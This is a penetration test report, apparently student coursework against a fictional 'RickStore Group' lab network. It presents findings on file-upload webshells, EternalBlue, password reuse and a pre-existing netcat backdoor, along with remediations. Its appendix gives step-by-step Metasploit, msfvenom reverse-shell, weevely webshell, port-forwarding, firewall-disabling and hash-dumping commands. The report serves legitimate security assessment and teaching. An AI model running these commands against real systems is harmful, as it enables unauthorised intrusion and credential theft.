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1 Document Control 

1.1 Contact Details 

Any questions relating to this report can be directed to the penetration tester in charge of 

the penetration test. Contact details for both the penetration tester and the client are 

provided below: 

Penetration Tester Client Contact(s) 

Jack Wilson David McLuskie 

Abertay Security Consulting RickStore Group 

Dundee Dundee 

 

1.2 Document Information 

Document Title 

RickStore Group Penetration Test Report 

 

Doc. Reference Issue Date Notes 

ASC-PTR-001 0.1 26/03/2018 Initial Draft 

ASC-PTR-001 1.0 08/05/2018 Final Release 

 

 Name Signature Date 

Author Jack Wilson Jack Wilson 08/05/2018 

Reviewer N/A N/A 08/05/2018 

 

1.3 Document Classification 

This document is categorised as “classified”. This means that only the approved personnel 

from Abertay Security Consulting and RickStore Group may view the contents of this 

document. 

Temporary access may be granted to other staff on an as-required basis. This document 

must be stored securely on an encrypted drive, with encrypted backups stored off-site. 
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Hard copies of this document must be securely destroyed once no longer required. Soft 

copies of this document must be securely transferred in accordance with the internal policy 

of RickStore Group, or via commercially agreed methods – whichever is more applicable. 

Copies of this document are uncontrolled when released externally. 

1.4 Document Storage 

Throughout the entirety of the penetration test, all documents relating to the penetration 

test (including this report) were stored securely on an encrypted hard drive. The figure 

below shows that the report and notes were stored on the “Macintosh HD” hard drive 

which had FileVault (Apple’s Full-Disk Encryption system) enabled. 

 

 

Figure 1: Proof of documents being stored securely using full-disk encryption 
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1.5 Cleanup 

Ensuring that the RickStore Group network was restored back to its state before the 

penetration test proceeded is of key importance. This includes removing/restoring the 

following from the network: 

• Shells. 

• Backdoors. 

• Keyloggers. 

• Port-forwarding rules. 

• Executables. 

• Scripts. 

• Temporary files. 

• Rootkits. 

• User accounts created for testing/proof of concepts. 

• Restoration of any settings/policies/rules changed during the penetration test. 
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2 Executive Summary 

2.1 Introduction 

This report contains the findings of a network security assessment of the RickStore Group’s 

network carried out by Abertay Security Consulting between the 26th of March 2018 and the 

8th of May 2018. 

The primary objective of the penetration test was to identify security flaws, vulnerabilities 

and weaknesses within the RickStore Group network with an aim to improve the general 

security posture based on the findings. 

2.2 Key Findings 

The penetration test found several security concerns throughout the RickStore Group 

network that stemmed from: 

• Poor patching practice. 

• Password reuse. 

• Failure to validate file types uploaded to the company website. 

• Pre-existing backdoors within the network. 

2.3 Priority Recommendations 

Based on the key findings, Abertay Security Consulting recommend that the below findings 

are remedied as soon as possible: 

Ref Description Priority 

RSG001 An unrestricted file upload vulnerability allowed the Abertay 

Security Consulting team to upload a PHP file to the RickStore 

website which created a webshell, giving unauthenticated remote 

code execution on the web server, with the opportunity to 

traverse further into the internal network of the RickStore Group. 

High 

RSG002 Two devices on the network were found to be missing a critical 

security patch that allowed the Abertay Security Consulting team 

to exploit a known vulnerability to gain remote code execution on 

the affected systems. 

High 
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RSG007 A suspected backdoor was found preinstalled on one system 

within the network. It is suspected that a malicious attacker may 

already have access to the RickStore Group network. 

High 

 

2.4 Conclusion 

The variety of security weaknesses found throughout the penetration test (including the 

priority and non-priority recommendations) pose a serious risk to staff and customers of the 

RickStore Group. There is a high risk of the network being compromised in the future (by 

just a semi-skilled attacker) if the recommendations in this report are not implemented. 

Although some of the security issues rely upon other vulnerabilities to succeed, it is strongly 

recommended to implement all of the recommended changes to reduce the chance of the 

IT systems being compromised. 

Failure to correctly implement the suggested remediations within a reasonable time period 

could result in large financial penalties under the Data Protection act (and soon under the 

General Data Protection Regulation) as well as significant reputational damage to the 

RickStore group.  
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3 RickStore Group – Penetration Test 

3.1 Introduction 

This report contains an objective view of the current security status within RickStore Group. 

Information has been accumulated and consolidated using data received from the 

penetration test that was conducted by Jack Wilson of Abertay Security Consulting. 

The testing was conducted between the 26th of March 2018 and the 8th of May 2018. The 

goal of the assessment was to find underlying vulnerabilities and identify threats to the IT 

infrastructure of RickStore Group. The testing began as a remote, external test which 

extended to an internal infrastructure test due to a critical vulnerability the penetration 

tester found (detailed in Section 5.1, below). 

 

3.2 Scope 

3.2.1 In Scope 

There was a predefined scope for this penetration test that involved: 

• The entire 192.168.78.0/24 subnet. 

• The entire 192.168.10.0/24 subnet. 

3.2.2 Out of Scope 

• Physical access attacks (e.g. physically tampering with PC’s/servers). 

• Social engineering attacks (e.g. phishing emails). 

3.3 Methodology 

The PTES methodology was followed in order to complete the penetration test in a concise 

and thorough manner (PTES, no date). This is summarised below. 

3.3.1 Intelligence Gathering 

This stage of the penetration test involved actively targeting the network, to gather 

information about the company, its personnel and their IT systems which can aid in the 

further stages of the penetration test. One area of the intelligence gathering stage is 

network mapping, which was conducted to determine a list of hosts to target, the layout of 

the target network and public-facing IT infrastructure that could potentially be used to 

leverage a foothold into the internal company network. 
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This stage also included service identification that involved scanning hosts on the network 

to determine which services were running on the open ports of the hosts. This helped to 

determine potentially vulnerable services to target at a later stage, and to also determine if 

any outdated software was present on the network. 

3.3.1.1 Vulnerability Analysis 

This stage involved identifying vulnerabilities within the hosts on the network based on the 

services that were identified at an earlier stage. There are several methods to identify 

vulnerabilities that include: manually checking for vulnerable services based on the 

information gathering stage or by using automated scanners such as Nessus or OpenVAS. 

Vulnerability analysis can be used to identify vulnerabilities with both software and the 

operating systems of target hosts. 

3.3.2 Exploitation 

Based on the findings from the vulnerability analysis stage, proof-of-concept exploits were 

executed both to attempt to gain system access, and to ensure no false-positives were 

present from the vulnerability analysis stage. The level of exploitation depended heavily on 

the identified vulnerability, but this could range from simple information disclosure to full 

remote-code execution on the target system. Reproduction of all vulnerabilities discovered 

is detailed in the appendices (Section 8) of this report. 

3.3.3 Post-Exploitation 

Depending on the scope of the penetration test, various post-exploitation techniques could 

be deployed to further target the company network. This could involve installing keyloggers 

or monitoring software, leaving backdoors for persistent access to the network, or 

exfiltrating information from the target systems (such as confidential files, databases and 

user passwords or password hashes), privilege escalation and traversal further across the 

target network. 

3.3.4 Reporting 

The final stage of the penetration test is reporting, that involves detailing the findings during 

the penetration test in both a technical and a non-technical manner. The report contains 

details on the vulnerabilities, guides on reproducing vulnerabilities, business impacts and 
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severity ratings for each vulnerability. The severity rating of vulnerabilities is quantified on a 

scale of advisory to high, with an example severity rating table shown below. 

Advisory Low Medium High 

    

Table 1: Example Vulnerability Severity Rating Table 
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4 Network Mapping/Enumeration Results 

The below section details some of the key results from the network mapping and 

enumeration stages of the penetration test, used to gather necessary information for 

further testing. 

4.1 Nmap Scan Results 

4.1.1 192.168.10.1 (SERVER1) 

Port Service Version 

21 FTP Golden ftpd 5.00 

23 Telnet Windows XP Telnet 

25 SMTP ArGoSoft 1.8.2.9 

53 DNS Microsoft DNS 6.1.7600 

79 Finger ArGoSoft fingerd 

80 HTTP Microsoft IIS 7.5 

88 Kerberos-sec Windows Kerberos 

99 HTTP ArGoSoft httpd 

110 POP3 ArGoSoft pop3d 1.8.2.9 

135 Msrpc Windows RPC 

139 Netbios-ssn Windows Netbios 

389 LDAP Windows LDAP 

445 Microsoft-ds Microsoft-ds 

464 Kpasswd5?  

593 Ncacn_http Windows RPC over HTTP 

3268 LDAP Windows LDAP 

49152-49157 Msrpc Windows RPC 

49158 Ncacn_http Windows RPC over HTTP 

49159 Msrpc Windows RPC 

49163 Msrcp Windows RPC 
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4.1.2 192.168.10.10 (Web Server) 

Port Service Version 

23 Telnet Windows XP Telnet 

53 DNS  Microsoft DNS 6.1.7601 

80 HTTP Apache httpd (PHP 5.6.23) 

88 Kerberos-sec Windows Kerberos 

135 Msrpc Windows RPC 

139 Netbios-ssn Windows netbios 

389 LDAP Windows LDAP 

445 Microsoft-ds Microsoft-ds 

464 Kpasswd5?  

593 Ncacn_http Windows RPC over HTTP 

1025-1028 Msrpc Windows RPC 

1030 Msrpc Windows RPC over HTTP 

1031-1032 Msrpc Windows RPC 

1035 Msrpc Windows RPC 

1039 Msrpc Windows RPC 

1045 Msrpc Windows RPC 

1062 Msrpc Windows RPC 

3268 LDAP Windows LDAP 

 

4.1.3 192.168.10.20 (CLIENT1) 

Port Service Version 

135 msrpc Windows RPC 

139 Netbios-ssn Windows netbios-ssn 

445 Microsoft-ds Windows 7-10 microsoft-ds 

3333 Winshell Cmd.exe (**backdoor**) 

3389 Ms-wbt-server?  

49152-49156 msrpc Windows RPC 
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4.1.4 192.168.10.254 (Firewall) 

Port Service Version 

53 DNS  

80 HTTP Nginx 

 

4.2 Network Diagram 
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5 Detailed Technical Findings – Penetration Test 

This section discusses each of the security issues found throughout the network in-depth, 

giving a background to the issue, noting the affected system(s), showing proof of the issue 

existing, discussing how the business could be impacted if the vulnerability was exploited by 

an attacker and offering suggestions for resolving the issue. 

5.1 File Upload Vulnerability in Web Application 

5.1.1 Vulnerability Reference 

RSG001 

5.1.2 Severity Rating 

Advisory Low Medium High 

   ✓ 

 

5.1.3 Background 

An unrestricted file upload vulnerability is a type of vulnerability that is caused by a web 

server not properly validating the type of file (or the contents of the file) that can be 

uploaded by a user to the web server. 

In this case, the Abertay Security Consulting team were able to upload a PHP file through a 

profile picture upload dialog, which spawned a web shell, giving the Abertay Security 

Consulting team an interactive shell on the web server. 

Due to the web server being on the internal company network (and accessible through port-

forwarding) this vulnerability allowed the Abertay Security Consulting team access to the 

internal network of the RickStore Group for further exploitation. 

5.1.4 Affected System(s) 

The vulnerability was found on the profile page of the RickStore website 

(192.168.78.10/profile.php). 

5.1.5 Proof of Concept 

Figures 2 & 3 (below) shows an interactive session on the web server at system level, with 

the IP address of the server showing as further evidence. Full details on reproducing the 

exploit are detailed in section 8.1.1 of the appendix. 
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Figure 2: Interactive shell showing system information of web server 

 

Figure 3: Interactive shell showing user and IP address of web server 

5.1.6 Business Impact 

This critical vulnerability allows a remote attacker unrestricted access to the internal 

RickStore Group network, with potentially endless possibilities; from confidential customer 

data theft, to malware installation and service disruption to RickStore Group staff and 

customers. 
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5.1.7 Suggested Remediation(s) 

There are a few key options that could prevent a file upload vulnerability (OWASP, 2017). 

The most common remediation would be to ensure that only approved file types (such as 

.jpg and .png) can be uploaded by users through utilisation of a whitelist.  

To supplement this, PHP execution could also be disabled in directories such as the directory 

that user images are stored in (e.g. 

C:\Users\Administrator\Desktop\UniServerZ\www\pictures). 

One final recommendation (that would not mitigate the vulnerability but would instead 

prevent possible further damage) would be to properly segregate publicly-accessible IT 

infrastructure from the rest of the corporate network. This could be achieved through either 

of the below options: 

• Placing the web server in a DMZ on the network - this would make it harder, but not 
impossible, for an attacker to traverse from a compromised web server to other IT 
infrastructure to other devices on the network. 

• Moving the web hosting to a third-party (either a dedicated web hosting provider or 
a cloud provider such as AWS or DigitalOcean). 
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5.2 Systems Vulnerable to EternalBlue Exploit 

5.2.1 Vulnerability Reference 

RSG002 

5.2.2 Severity Rating 

Advisory Low Medium High 

   ✓ 

 

5.2.3 Background 

EternalBlue was an exploit developed by the United States government (leaked by a hacker 

group into the public) which allowed for full remote-code execution on a variety of 

Windows systems from Windows XP to Windows 10. Soon after, Microsoft released a patch 

to fix the vulnerability. 

The exploit abuses the insecure and outdated SMBv1 protocol (used for file sharing) by 

sending crafted packets to allow for code execution on the target system. 

5.2.4 Affected System(s) 

192.168.10.1 (SERVER1) 

192.168.10.20 (CLIENT1) 

5.2.5 Proof of Concept 

The below images show an exploit completing successfully to grant the Abertay Security 

Consulting team an interactive shell on both SERVER1 and CLIENT1, with evidence of 

commands being executed at system-level. 

It is noteworthy that CLIENT1 had Windows Firewall enabled which initially prevented the 

attack, however, a group-policy was deployed from SERVER1 (post-exploitation) which 

disabled the firewall on CLIENT1, allowing for successful exploitation. 
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Figure 4: Successful exploitation of SERVER1 using the EternalBlue exploit 

 

Figure 5: Interactive shell showing system information of SERVER1 

 

Figure 6: Interactive shell showing system-level access and IP address of SERVER1 
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Figure 7: Successful exploitation of CLIENT1 using the EternalBlue exploit 

 

Figure 8: Interactive shell showing system information of CLIENT1 

 

Figure 9: Interactive shell showing system-level access and IP address of CLIENT1 

5.2.6 Business Impact 

Following poor patching practice such as this makes attacking the affected devices simple 

from an attacker’s perspective, taking a matter of minutes to compromise affected systems. 
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This can lead to an attacker gaining access to additional systems within a network and 

gaining a foothold to pivot even further into the network. With this access to the network, 

an attacker has the option to deploy a variety of attacks that could include installing 

malware/ransomware or stealing confidential customer data.  

5.2.7 Suggested Remediation(s) 

In March 2017, Microsoft released a security bulletin (MS17-010) which detailed the various 

patches that were released for the different versions of Windows to fix this vulnerability. It 

is recommended to install the necessary patches as soon as possible (Microsoft, 2017). 

Furthermore, it is recommended to continue to install all security patches as they are 

released in the future. 
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5.3 Password Stored in Text File 

5.3.1 Vulnerability Reference 

RSG003 

5.3.2 Severity Rating 

Advisory Low Medium High 

  ✓  

 

5.3.3 Background 

After compromising the web server, the Abertay Security Consulting team began inspecting 

the server for any files of interest. On the desktop, a file (password.txt) was found, which 

contained a username and a (very insecure) password. 

It is generally deemed bad practice to store passwords in text files, as anyone with access to 

the server (either an attacker or another employee with physical access to the device) 

would be able to see and open the file. 

5.3.4 Proof of Concept 

The below image shows an interactive meterpreter shell on the server with the ‘cat’ 

command to view the contents of the file on the desktop. 

 

Figure 10: Interactive shell showing the contents of the file containing the password 
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5.3.5 Business Impact 

Storing passwords in such an insecure manner allows malicious external attackers (with 

access to the device) or malicious internal attackers (such as rogue employees) to easily 

access the account of user test and perform actions on that user’s behalf. 

This could include accessing potentially confidential files, sending emails as that user or (in 

some cases) having a higher level of privileges on a device. 

5.3.6 Suggested Remediation(s) 

The suggested remediation for this security issue is to create and enforce a policy to ensure 

credentials are not stored in this manner and look to moving towards a solution such as an 

enterprise password manager for employees to securely store credentials. 
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5.4 Unauthenticated User Creation in ArGoSoft Mail Server 

5.4.1 Vulnerability Reference 

RSG004 

5.4.2 Severity Rating 

Advisory Low Medium High 

  ✓  

 

5.4.3 Background 

An instance of ArGoSoft mail server was found to be running within the Rickstore Group 

network. The ArGoSoft version was determined to be 1.8.2.9 which has a known 

vulnerability (Exploit-DB, 2003). This vulnerability allows a user (without any authentication) 

to create user accounts on the mail server by visiting a specific page on the web interface. 

Although the mail server suffered from some connectivity issues that prevented the Abertay 

Security Consulting team from sending emails, it was decided that creating a user account 

(as shown in the proof of concept section below) was sufficient evidence of the 

vulnerability. 

5.4.4 Affected System(s) 

192.168.10.1 (SERVER1) 

5.4.5 Proof of Concept 

The below images show the Abertay Security Consulting team visiting /useradm on the mail 

server web interface and adding a user called ‘tester’. The second image shows the inbox of 

the user ‘tester’ to confirm account creation succeeded. 
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Figure 11: Unauthenticated user creation page on mail server 

 

Figure 12: Created user's mailbox 

5.4.6 Business Impact 

Giving anyone the ability to create email accounts on the Rickstore group domain without 

any authentication introduces one glaring issue: an attacker could create an email account 

such as customer-support@yourdomain.com that could be used to phish/fraud customers of 

the RickStore Group. 

5.4.7 Suggested Remediation(s) 

Support for ArGoSoft Mail Server has been discontinued by the developer. It is strongly 

recommended to upgrade to an up-to-date mail server; either looking at the newer product 

by the same developers of ArGoSoft mail server: Mail Server .NET. or a cloud-based email 

solution such as Microsoft’s Office 365 Enterprise.  
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5.5 Password Reuse Allowing Access to Firewall 

5.5.1 Vulnerability Reference 

RSG005 

5.5.2 Severity Rating 

Advisory Low Medium High 

   ✓ 

 

5.5.3 Background 

After gaining access to other devices on the network (Web Server and SERVER1), Mimikatz 

was loaded and executed on the systems. This program extracts credentials (usernames and 

passwords) that are stored in system memory. 

One set of credentials (extracted from SERVER1) were found to allow the Abertay Security 

Consulting team to log into the pfSense firewall’s web interface. 

5.5.4 Affected System(s) 

192.168.10.254 (pfSense Firewall) 

5.5.5 Proof of Concept 

The below image shows the output of viewing the master.passwd file within the /etc 

directory after executing the command within the firewall’s web interface. This serves as 

sufficient proof that access was gained, and command execution was possible. 
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Figure 13: Cat output of master.passwd file from pfSense web interface 

5.5.6 Business Impact 

The access to the firewall’s web interface would (theoretically) allow for all network traffic 

to be rerouted and monitored by an attacker. Due to VPN configurations being possible 

through pfSense an attacker could also create a backdoor for persistent access to the 

network. 

Additionally, command execution within the web interface could allow for installation of 

malware and backdoors in the network, as well as stealing the password hashes for a variety 

of users (such as the admin and root users) as shown in the proof of concept section. 

5.5.7 Suggested Remediation(s) 

Although the command execution is unavoidable (due to it being a feature built-in to the 

pfSense software), it is strongly recommended to avoid reusing passwords across different 

services (such as the Firewall management interface). 
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5.6 File Upload Vulnerability in pfSense Firewall 

5.6.1 Vulnerability Reference 

RSG006 

5.6.2 Severity Rating 

Advisory Low Medium High 

✓    

 

5.6.3 Background 

After gaining access to the pfSense web interface described in the previous section, a file 

upload dialog was found. Uploading a PHP payload allowed the Abertay Security Consulting 

team to gain a webshell on the pfSense firewall, gaining a fully interactive shell over the 

diagnostic command prompt described in the previous vulnerability section. 

5.6.4 Affected Systems 

192.168.10.254 (pfSense Firewall) 

5.6.5 Proof of Concept 

 

Figure 14: Interactive shell on pfSense firewall 

5.6.6 Business Impact 

Despite a file upload vulnerability being a serious issue, this vulnerability would not be a 

valid issue if passwords were not reused, as authenticated (administrative) access to the 

web interface is required to upload and execute the PHP payload. 

Further from this, despite being a file upload vulnerability, it is located in a diagnostic 

section of an administrative web interface. Realistically, only an authenticated technical 

user (who understands the risks) should be accessing and interacting with this interface. For 

all of the above reasons, this vulnerability is only rated as an ‘advisory’, rather than ‘high’. 
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If an attacker gained an interactive shell on the web interface, this could be used to install 

malware and for further traversal across the Rickstore Group network. 

5.6.7 Suggested Remediation(s) 

If this is a legitimate vulnerability (rather than being intended for troubleshooting 

purposes), then there is nothing that the Rickstore Group can do to remediate this issue. 

Remediations would rely upon the manufacturer of the firewall software (pfSense). 

The best option for remediation would be to use a strong, unique password for the 

firewall’s management interface, as well as on every other service/device on the network. 
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5.7 Pre-existing Backdoor on CLIENT1 

5.7.1 Vulnerability Reference 

RSG007 

5.7.2 Severity Rating 

Advisory Low Medium High 

   ✓ 

 

5.7.3 Background 

During the routine service identification of devices on the target network, CLIENT1 was 

observed to have a service running on port 3333 with the service titled ‘winshell’ and the 

version information showing ‘cmd.exe (**backdoor**)’. This service was determined to be a 

netcat listener configured on CLIENT1 to allow persistent remote access. 

It should be noted that this backdoor was not installed by the Abertay Security Consulting 

team and was pre-existing on the network before the penetration test started. 

This would indicate that an unknown attacker had previously gained access to the RickStore 

Group network and implanted a backdoor. It is strongly recommended to launch a full 

(independent) digital forensic investigation into this discovered vulnerability to determine 

who gained access to the network, what intentions the attacker had and what files they 

could have potentially accessed and exfiltrated. 

5.7.4 Affected System(s) 

192.168.10.20 (CLIENT1) 

5.7.5 Proof of Concept 

The first image (below) shows the port scan with the open port and service details 

highlighted for the affected system. The second image shows the Abertay Security 

Consulting team connecting to the backdoor through netcat and gaining access to the 

account of R.Astley. 
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Figure 15: nmap scan showing port 3333 open with backdoor running 

 

Figure 16: Connection to CLIENT1 using netcat and pre-existing backdoor 

5.7.6 Business Impact 

Not only does having this listener running allow for simple access to CLIENT1, it is incredibly 

worrisome that a suspected backdoor (possibly implanted by an unknown attacker) is 

present on the RickStore Group’s network. 

If this was implanted by an attacker, it could have serious consequences for the RickStore 

group both financially and reputationally. There could be investigations by the Information 

Commissioner’s Office, financial penalties and lawsuits by affected customers, not to 
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mention an impact to business and profitability caused by the reputational damage of a 

data breach. 

5.7.7 Suggested Remediation(s) 

It is strongly suggested to remove the suspected backdoor from the network immediately 

and to hire an independent incident response/digital forensics firm to remove any other 

malware/backdoors that may exist on the network while also investigating a potential data 

breach. 
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5.8 Unauthenticated FTP Server Access 

5.8.1 Vulnerability Reference 

RSG008 

5.8.2 Severity Rating 

Advisory Low Medium High 

  ✓  

 

5.8.3 Background 

A device on the network was found to be running an FTP server. This FTP server was 

accessible with no authentication mechanisms in place through a web interface, allowing a 

user to view and download files on the FTP server without requiring a username or 

password. 

5.8.4 Affected System(s) 

192.168.10.1 (SERVER1) 

5.8.5 Proof of Concept 

 

Figure 17: Screenshot of FTP share accessed through web interface 

5.8.6 Business Impact 

Allowing any user on the Rickstore Group network to access an FTP share without any 

authentication is generally deemed bad practice as there are no controls in place for users 

viewing (and copying) potentially confidential files stored on the FTP share. 

5.8.7 Suggested Remediation(s) 

The recommended remediation for this issue is to disable unauthenticated access to the FTP 

share, requiring all users to log in to view files.  
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5.9 Poor Password Policy 

5.9.1 Vulnerability Reference 

RSG009 

5.9.2 Severity Rating 

Advisory Low Medium High 

✓    

 

5.9.3 Background 

During the penetration test, several passwords were recovered for both standard and 

administrative user accounts. Not only were some of the passwords found to be reused 

across different services, the passwords were of poor quality, making them easily guessable. 

After gaining access to the domain controller, the password policies within the Group Policy 

Management interface were checked which confirmed that none of the group policy rules 

were configured. 

5.9.4 Business Impact 

Having insecure passwords makes it trivial for attackers to gain access to accounts and 

services through the use of a ‘brute force’ guessing attack. Furthermore (as demonstrated 

throughout this report), reusing passwords across various services makes it trivial for an 

attacker to traverse further across a network. 

5.9.5 Suggested Remediation(s) 

The suggested remediation for this issue is to configure the various options within the 

Group Policy Management interface to enforce length and complexity requirements, while 

also considering deploying a password policy company-wide in alignment with password 

guidance from the National Cyber Security Centre (NCSC, 2016).  
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6 Evaluation of Methodology 

The Penetration Testing Execution Standard (PTES) framework that was followed for this 

penetration test was found to be generally effective. Some sections (such as the pre-

engagement and passive information gathering stages) could not be evaluated due to the 

RickStore Group not existing as a company. The sections that were applicable were 

generally helpful in identifying and exploiting vulnerabilities. 

The most useful resource from the PTES framework was the technical guidelines. This 

section on the PTES website contained guides and references to a large variety of tools that 

could become useful for various attacks during a penetration test. 

The technical guidelines detailed enumeration and attack techniques for almost any type of 

device on a network, from Windows to Linux servers, mail servers, WiFi routers, switches, 

printers and enterprise VPN’s. 

A bonus feature of PTES is that the framework is community-driven, so any member of the 

information security community that is willing and able to contribute to improve the 

framework has the ability to do so. This ensures that the framework is kept up-to-date with 

the latest tools and techniques to conduct an effective penetration test.  
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8 Appendices 

8.1 Exploitation Reproduction 

The below sections contain guides for reproducing the vulnerabilities discovered by the 

Abertay Security Consulting team so that the discoveries can be independently verified and 

reproduced for the purpose of fixing the vulnerabilities. 

8.1.1 Reproducing Vulnerability RSG001 

The first step to achieve a webshell was to use msfvenom to create the PHP webshell 

payload that was uploaded to the account page (192.168.78.10/profile.php): 

msfvenon -p php/meterpreter/reverse_tcp LHOST=<your IP address> 

lport=9001 -f raw > img.php 

Due to the instability of the PHP webshell, a second webshell was created and uploaded to 

the web server using the first PHP webshell. This involved creating a second payload using 

msfvenom: 

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your IP 

address> LPORT=9002 -f exe > revshell.exe 

The next stage was to set up a listener using the Metasploit framework. This was configured 

with the following options: 

use exploit/multi/handler 

 set LHOST <your IP address> 

 set lport 9001 

 set payload php/meterpreter/reverse_tcp 

 exploit -j -z 

Metasploit was now listening for connections, so the previously created PHP file could be 

uploaded to the account page. This would create a meterpreter session on the web server. 

This session was found to be quite unstable, but it could be used to upload the previously 

created executable file to create a second, more stable, connection. The commands 

required to upload and run the executable file were: 

 upload revshell.exe 

 execute -f revshell.exe 

The web server was now trying to connect back to the attacker machine using a different 

port (9002) and a different payload, so the Metasploit listener had to be reconfigured 

accordingly: 
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set payload windows/x64/meterpreter/reverse_tcp 

set lport 9002 

exploit -j -z 

This would create a second shell on the web server that was substantially more stable and 

would allow for privilege escalation & traversal across the internal RickStore Group network. 
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8.1.2 Reproducing Vulnerability RSG002 

After gaining access to the internal network through the PHP webshell discussed in RSG001, 

further devices on the network could be compromised using other known exploits. SERVER1 

was exploited using the EternalBlue exploit with the following steps: 

Within Metasploit: 

Use exploit/windows/smb/ms17_010 

  Set LHOST <your IP address> 

Set RHOST <target IP address>  

The above payload may not succeed on the first attempt, but upon success will result in a 

system shell. This can be upgraded to a meterpreter shell using a post-exploitation module: 

Within Metasploit: 

  Use post/multi/manage/shell_to_meterpreter 

   Set LHOST <your IP address> 

   Set SESSION <respective session target system shell> 

CLIENT1 had Windows Firewall enabled which initially prevented EternalBlue from 

succeeding. Once gaining access to SERVER1, remote desktop was enabled, and a group 

policy was created which disabled Windows Firewall on CLIENT1, allowing exploitation using 

EternalBlue to succeed. The below steps use a Metasploit post-exploitation module to 

enable RDP. 

 Within Meterpreter shell on SERVER1: 

  Use post/windows/manage/enable_rdp 

   Set FORWARD 9010 

   Session <correct 64-bit session for SERVER1> 

After enabling RDP, the RDP port (3389) must be forwarded to Kali Linux: 

 Within Meterpreter shell on Web Server: 

  portfwd add -l 9010 -p 3389 -r 192.168.10.1  

From a Kali Linux terminal window, SERVER1 could be connected to through remote 

desktop with the below command: 

 rdesktop 127.0.0.1:9010 

Within the RDP session, SERVER1 could be logged in to using credentials previously 

extracted through Mimikatz. A group-policy to disable Windows Firewall on CLIENT1 was 

created using the below steps: 

 Start > Group Policy Management 
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 Group Policy Management > Forest: uadcwnet.com 

 Right click > “Create a GPO in this domain, and link it here” 

Computer Configuration > Policies > Administrative Templates > 

Network > Network Connections > Windows Firewall 

Set “Windows Firewall: Protect all network connections” to 

‘Disabled’ for both Domain Profile and Standard Profile. 

A group policy can take some time to update on clients when pushed from a server, but this 

process will eventually disable Windows Firewall on CLIENT1, and allow CLIENT1 to be 

exploited using EternalBlue with the same steps as outlined with SERVER1, above. 
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8.1.3 Reproducing Vulnerability RSG004 

As the mail server was not publicly facing, port-forwarding was required to access the web 

interface. This was achieved by entering the following command within a Meterpreter 

session on the web server: 

 portfwd add -l 9006 -p 99 -r 192.168.10.1 

Visiting 127.0.0.1:9006/useradm in a browser on Kali Linux showed the user 

administration page that did not require authentication to add or edit users. 

 

8.1.4 Reproducing Vulnerability RSG005 

Accessing the web interface of the pfSense firewall was done in an identical fashion to that 

described in the previous section using port forwarding. Within a Meterpreter session on 

the Web Server the below command was entered: 

 portfwd add -l 9007 -p 80 -r 192.168.10.254 

Visiting 127.0.0.1:9007 in a browser on Kali Linux showed the login page for the web 

interface of the pfSense firewall. This was logged into using credentials that were acquired 

using Mimikatz. The command prompt was found under the diagnostics menu. 

 

8.1.5 Reproducing Vulnerability RSG006 

As per the previous vulnerabilities, access to the web interface required port-forwarding, 

with the same command as the previous vulnerability: 

 portfwd add -l 9007 -p 80 -r 192.168.10.254 

The next stage was to use weevely to generate a PHP webshell where <password> is the 

user-specified password: 

weevely generate <password> ~/shell.php  

This webshell had to be uploaded to the diagnostics page of the web interface by browsing 

to the following address in a browser in Kali Linux and using the “Upload File” dialog to 

upload shell.php: 

 127.0.0.1:9007/diag_command.php 

The default upload folder is /tmp. To be able to view and execute the PHP file it must be 

moved to a directory accessible through the pfSense web interface. This can be achieved by 

using the ‘Execute Shell Command’ function: 



CONFIDENTIAL 

Page 43 of 48 

Abertay Security Consulting 

 

mv /tmp/shell.php /usr/local/www/shell.php 

Browsing to 127.0.0.1:9007/shell.php will execute the PHP shell. This can be connected to 

using weevely by entering the following command in a terminal (where <password> is the 

user-specified password entered earlier): 

 weevely http://127.0.0.1:9007/shell.php <password> 

 

8.1.6 Reproducing Vulnerability RSG007 

Access to CLIENT1 through the backdoor required Windows Firewall to be disabled (as per 

the instructions described in RSG002. The next step also involved port-forwarding by 

entering the below command on the Web Server: 

 portfwd add -l 9012 -p 3333 -r 192.168.10.20 

This forwarded the netcat listener (listening on port 3333) to Kali Linux. The netcat listener 

could be connected to by typing the below command into a terminal window in Kali Linux: 

nc 127.0.0.1 9012 

It is also noteworthy that port-scanning CLIENT1 after disabling Windows firewall caused the 

backdoor netcat listener to crash. 

 

8.1.7 Reproducing Vulnerability RSG008 

The FTP share was accessed using proxychains. This was achieved through the below 

Metasploit module and configuration: 

 use auxiliary/server/socks4a 

 set SRVHOST 127.0.0.1 

 set SRVPORT 1080 

The browser being used to access the share had to be configured. This will vary on a per-

browser basis, but on Firefox this involved navigating to Preferences > Advanced > Network 

> Settings and configuring a SOCKS Host with the server address and port matching those 

above. It is important to ensure there are no exceptions to the proxy for ‘127.0.0.1’ or 

‘localhost’. 

The FTP share can then be accessed through a web interface (in Kali Linux) through the 

following address: 

 ftp://192.168.10.1 
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8.2 Dumped Hashes 

 

Figure 18: Hashes Dumped from 192.168.10.1 using post/windows/gather/hashdump metasploit module 

 

Figure 19: Hashes Dumped from 192.168.10.10 using post/windows/gather/hashdump metasploit module 

 

Figure 20: Hashes Dumped from 192.168.10.20 using post/windows/gather/hashdump metasploit module 

 

Figure 21: Hashes Dumped from 192.168.10.10 using post/windows/gather/credentials/credential_collector metasploit 

module 
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Figure 22: Hashes Dumped from 192.168.10.10 using post/windows/gather/credentials/credential_collector metasploit 

module 
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Figure 23: Hashes Dumped from 192.168.10.10 using post/windows/gather/credentials/credential_collector metasploit 

module 

 

Figure 24: Hashes Dumped from 192.168.10.10 using post/windows/gather/credentials/credential_collector metasploit 

module 
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Figure 25: Password hashes from pfSense firewall master.passwd file (same as in shown in RSG005) 
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